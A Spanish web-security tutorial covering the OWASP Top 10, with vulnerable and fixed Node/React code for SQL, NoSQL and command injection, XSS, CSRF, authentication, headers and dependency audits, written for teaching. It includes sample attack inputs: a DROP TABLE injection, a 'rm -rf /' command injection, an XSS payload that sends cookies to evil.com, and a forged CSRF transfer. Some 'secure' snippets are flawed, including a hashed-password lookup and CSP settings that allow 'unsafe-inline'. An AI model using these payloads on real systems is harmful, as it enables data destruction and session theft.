🛡️

Seguridad de Aplicaciones

👨‍🍳 Chef

La seguridad no es opcional

Imagina que construyes una casa hermosa pero dejas todas las puertas y ventanas abiertas. No importa que tan bonita sea, cualquiera puede entrar y llevarse todo. La seguridad en aplicaciones web funciona exactamente igual.

La diferencia entre un desarrollador junior y uno senior no es solo escribir codigo que funciona, sino codigo que no puede ser explotado.


OWASP Top 10: Las vulnerabilidades mas criticas

OWASP (Open Web Application Security Project) mantiene una lista de las 10 vulnerabilidades mas peligrosas. Conocerlas es el primer paso para proteger tu aplicacion.

#VulnerabilidadAnalogia
1Broken Access ControlDar llaves maestras a todos
2Cryptographic FailuresGuardar contrasenas en post-its
3InjectionAceptar cualquier paquete sin revisar
4Insecure DesignCasa sin cerraduras desde el plano
5Security MisconfigurationDejar la puerta trasera abierta
6Vulnerable ComponentsUsar materiales defectuosos
7Auth FailuresPortero que deja pasar a todos
8Software/Data IntegrityNo verificar quien modifico algo
9Logging FailuresNo tener camaras de seguridad
10SSRFDejar que extranos usen tu telefono

Ataques de Inyeccion

Los ataques de inyeccion ocurren cuando datos no confiables se envian a un interprete como parte de un comando o consulta.

SQL Injection

Analogia: Es como si alguien te preguntara su nombre para registrarlo, y en vez de decir "Juan", dijera "Juan; BORRAR TODO EL REGISTRO".

// VULNERABLE - Nunca hagas esto
const query = `SELECT * FROM users WHERE id = ${userId}`;

// Atacante envia: userId = "1 OR 1=1; DROP TABLE users;--"
// Resultado: Se ejecuta codigo malicioso
// SEGURO - Usa consultas parametrizadas
const query = 'SELECT * FROM users WHERE id = $1';
const result = await pool.query(query, [userId]);

// Con ORMs como Prisma (recomendado)
const user = await prisma.user.findUnique({
  where: { id: parseInt(userId) }
});

NoSQL Injection

// VULNERABLE
const user = await User.findOne({
  username: req.body.username,
  password: req.body.password
});

// Atacante envia: { "username": "admin", "password": { "$gt": "" } }
// Esto encuentra cualquier usuario con password mayor a string vacio!
// SEGURO - Valida y sanitiza inputs
import { z } from 'zod';

const loginSchema = z.object({
  username: z.string().min(3).max(50),
  password: z.string().min(8)
});

const { username, password } = loginSchema.parse(req.body);
const user = await User.findOne({ username, password: hashPassword(password) });

Command Injection

// VULNERABLE
const { exec } = require('child_process');
exec(`ping ${userInput}`, callback);

// Atacante envia: "google.com; rm -rf /"
// Resultado: Borra todo el servidor!
// SEGURO - Usa execFile con argumentos separados
const { execFile } = require('child_process');
execFile('ping', ['-c', '4', sanitizedHost], callback);

// O mejor, usa librerias especificas
import ping from 'ping';
const result = await ping.promise.probe(sanitizedHost);

XSS (Cross-Site Scripting)

XSS permite a atacantes inyectar scripts maliciosos en paginas web vistas por otros usuarios.

Analogia: Es como si alguien pudiera pegar stickers falsos en tu tienda que enganan a tus clientes.

Tipos de XSS

TipoDescripcionEjemplo
StoredScript guardado en DBComentario con <script>
ReflectedScript en URLLink malicioso por email
DOM-basedManipulacion del DOMdocument.write(location.hash)

Ejemplos vulnerables vs seguros

// VULNERABLE - React con dangerouslySetInnerHTML
function Comment({ text }) {
  return <div dangerouslySetInnerHTML={{ __html: text }} />;
}

// Atacante guarda: <script>document.location='http://evil.com/steal?cookie='+document.cookie</script>
// SEGURO - React escapa automaticamente
function Comment({ text }) {
  return <div>{text}</div>; // Los tags se muestran como texto
}

// Si necesitas HTML, usa DOMPurify
import DOMPurify from 'dompurify';

function Comment({ text }) {
  const clean = DOMPurify.sanitize(text);
  return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}
// VULNERABLE - Template literals en HTML
app.get('/search', (req, res) => {
  res.send(`<h1>Resultados para: ${req.query.q}</h1>`);
});

// Atacante visita: /search?q=<script>alert('XSS')</script>
// SEGURO - Escapa el output
import escapeHtml from 'escape-html';

app.get('/search', (req, res) => {
  res.send(`<h1>Resultados para: ${escapeHtml(req.query.q)}</h1>`);
});

CSRF (Cross-Site Request Forgery)

CSRF engana a usuarios autenticados para ejecutar acciones no deseadas.

Analogia: Alguien falsifica tu firma en un documento mientras estas distraido.

<!-- Sitio malicioso evil.com -->
<img src="https://tubank.com/transfer?to=hacker&amount=10000" />
<!-- El navegador envia las cookies automaticamente! -->

Proteccion con tokens CSRF

// Backend - Generar token
import csrf from 'csurf';
const csrfProtection = csrf({ cookie: true });

app.get('/form', csrfProtection, (req, res) => {
  res.render('form', { csrfToken: req.csrfToken() });
});

app.post('/transfer', csrfProtection, (req, res) => {
  // El middleware valida el token automaticamente
  processTransfer(req.body);
});
<!-- Frontend - Incluir token en formularios -->
<form action="/transfer" method="POST">
  <input type="hidden" name="_csrf" value="{{csrfToken}}" />
  <input type="text" name="amount" />
  <button type="submit">Transferir</button>
</form>

SameSite Cookies (Defensa moderna)

// Configurar cookies con SameSite
res.cookie('session', sessionId, {
  httpOnly: true,      // No accesible desde JavaScript
  secure: true,        // Solo HTTPS
  sameSite: 'strict',  // No se envia en requests cross-site
  maxAge: 3600000      // 1 hora
});

Autenticacion y Sesiones Seguras

Almacenamiento de contrasenas

// NUNCA - Texto plano
const user = { password: 'miPassword123' }; // NUNCA!

// NUNCA - Hashing debil
const hash = crypto.createHash('md5').update(password).digest('hex');

// SIEMPRE - bcrypt con salt
import bcrypt from 'bcrypt';

// Al registrar
const saltRounds = 12;
const hashedPassword = await bcrypt.hash(password, saltRounds);

// Al login
const isValid = await bcrypt.compare(inputPassword, hashedPassword);

JWT seguro

import jwt from 'jsonwebtoken';

// Generar token
const token = jwt.sign(
  { userId: user.id, role: user.role },
  process.env.JWT_SECRET,
  {
    expiresIn: '1h',
    algorithm: 'HS256'
  }
);

// Verificar token
try {
  const decoded = jwt.verify(token, process.env.JWT_SECRET);
} catch (error) {
  // Token invalido o expirado
}

Sesiones seguras con Redis

import session from 'express-session';
import RedisStore from 'connect-redis';
import { createClient } from 'redis';

const redisClient = createClient();

app.use(session({
  store: new RedisStore({ client: redisClient }),
  secret: process.env.SESSION_SECRET,
  resave: false,
  saveUninitialized: false,
  cookie: {
    secure: true,
    httpOnly: true,
    maxAge: 1000 * 60 * 60 * 24 // 1 dia
  }
}));

Exposicion de Datos Sensibles

Que NUNCA debe estar en tu codigo

// NUNCA en el codigo
const API_KEY = 'sk-1234567890abcdef'; // NUNCA!
const DB_PASSWORD = 'superSecretPassword'; // NUNCA!

// SIEMPRE en variables de entorno
const API_KEY = process.env.API_KEY;
const DB_PASSWORD = process.env.DB_PASSWORD;

.env y .gitignore

# .env (NUNCA en Git)
DATABASE_URL=postgresql://user:pass@localhost:5432/db
JWT_SECRET=tu-secreto-muy-largo-y-aleatorio
API_KEY=sk-produccion-key
# .gitignore
.env
.env.local
.env.*.local
*.pem
*.key

Encriptacion de datos sensibles

import crypto from 'crypto';

const algorithm = 'aes-256-gcm';
const key = Buffer.from(process.env.ENCRYPTION_KEY, 'hex');

function encrypt(text) {
  const iv = crypto.randomBytes(16);
  const cipher = crypto.createCipheriv(algorithm, key, iv);

  let encrypted = cipher.update(text, 'utf8', 'hex');
  encrypted += cipher.final('hex');

  const authTag = cipher.getAuthTag();

  return {
    iv: iv.toString('hex'),
    encrypted,
    authTag: authTag.toString('hex')
  };
}

function decrypt({ iv, encrypted, authTag }) {
  const decipher = crypto.createDecipheriv(
    algorithm,
    key,
    Buffer.from(iv, 'hex')
  );
  decipher.setAuthTag(Buffer.from(authTag, 'hex'));

  let decrypted = decipher.update(encrypted, 'hex', 'utf8');
  decrypted += decipher.final('utf8');

  return decrypted;
}

Security Headers

Los headers HTTP son tu primera linea de defensa.

Configuracion con Helmet (Express)

import helmet from 'helmet';

app.use(helmet({
  contentSecurityPolicy: {
    directives: {
      defaultSrc: ["'self'"],
      scriptSrc: ["'self'", "'unsafe-inline'"],
      styleSrc: ["'self'", "'unsafe-inline'"],
      imgSrc: ["'self'", "data:", "https:"],
      connectSrc: ["'self'", "https://api.tudominio.com"]
    }
  },
  hsts: {
    maxAge: 31536000,
    includeSubDomains: true,
    preload: true
  }
}));

Headers en Next.js

// next.config.js
const securityHeaders = [
  {
    key: 'X-DNS-Prefetch-Control',
    value: 'on'
  },
  {
    key: 'Strict-Transport-Security',
    value: 'max-age=63072000; includeSubDomains; preload'
  },
  {
    key: 'X-Frame-Options',
    value: 'SAMEORIGIN'
  },
  {
    key: 'X-Content-Type-Options',
    value: 'nosniff'
  },
  {
    key: 'Referrer-Policy',
    value: 'origin-when-cross-origin'
  },
  {
    key: 'Content-Security-Policy',
    value: "default-src 'self'; script-src 'self' 'unsafe-eval' 'unsafe-inline';"
  }
];

module.exports = {
  async headers() {
    return [
      {
        source: '/:path*',
        headers: securityHeaders
      }
    ];
  }
};

Principales headers explicados

HeaderFuncion
CSPControla que recursos puede cargar la pagina
HSTSFuerza HTTPS en el navegador
X-Frame-OptionsPreviene clickjacking
X-Content-Type-OptionsPreviene MIME sniffing
CORSControla requests cross-origin

Validacion y Sanitizacion

Zod para validacion de schemas

import { z } from 'zod';

// Definir schema
const userSchema = z.object({
  email: z.string().email(),
  password: z.string().min(8).regex(/[A-Z]/).regex(/[0-9]/),
  age: z.number().min(18).max(120).optional(),
  role: z.enum(['user', 'admin']).default('user')
});

// Validar en endpoint
app.post('/register', async (req, res) => {
  try {
    const validData = userSchema.parse(req.body);
    // Datos seguros para usar
    await createUser(validData);
  } catch (error) {
    if (error instanceof z.ZodError) {
      return res.status(400).json({ errors: error.errors });
    }
  }
});

Sanitizacion de HTML

import createDOMPurify from 'dompurify';
import { JSDOM } from 'jsdom';

const window = new JSDOM('').window;
const DOMPurify = createDOMPurify(window);

// Configuracion estricta
const clean = DOMPurify.sanitize(dirtyHtml, {
  ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p'],
  ALLOWED_ATTR: ['href', 'title'],
  ALLOW_DATA_ATTR: false
});

Seguridad de Dependencias

npm audit

# Revisar vulnerabilidades
npm audit

# Arreglar automaticamente
npm audit fix

# Ver detalle de vulnerabilidades criticas
npm audit --audit-level=critical

Snyk (Recomendado)

# Instalar
npm install -g snyk

# Autenticar
snyk auth

# Escanear proyecto
snyk test

# Monitorear continuamente
snyk monitor

Dependabot en GitHub

# .github/dependabot.yml
version: 2
updates:
  - package-ecosystem: "npm"
    directory: "/"
    schedule:
      interval: "weekly"
    open-pull-requests-limit: 10

Herramientas de Testing de Seguridad

HerramientaTipoUso
OWASP ZAPDASTEscaneo automatico de web
Burp SuiteProxyTesting manual avanzado
SonarQubeSASTAnalisis estatico de codigo
SnykSCADependencias vulnerables
npm auditSCADependencias npm
ESLint SecuritySASTReglas de seguridad JS

ESLint con reglas de seguridad

// .eslintrc.js
module.exports = {
  plugins: ['security'],
  extends: ['plugin:security/recommended'],
  rules: {
    'security/detect-object-injection': 'error',
    'security/detect-non-literal-regexp': 'error',
    'security/detect-unsafe-regex': 'error',
    'security/detect-buffer-noassert': 'error',
    'security/detect-eval-with-expression': 'error',
    'security/detect-no-csrf-before-method-override': 'error'
  }
};

Checklist de seguridad

  • Validar y sanitizar TODOS los inputs
  • Usar consultas parametrizadas (no concatenar SQL)
  • Hashear contrasenas con bcrypt (saltRounds >= 12)
  • Implementar CSRF tokens o SameSite cookies
  • Configurar security headers (CSP, HSTS, etc.)
  • Mantener dependencias actualizadas
  • No exponer secretos en codigo o logs
  • Usar HTTPS en produccion
  • Implementar rate limiting
  • Logging de eventos de seguridad

Practica

-> Auditoria de Seguridad - Analiza y corrige vulnerabilidades en una app


Enlaces utiles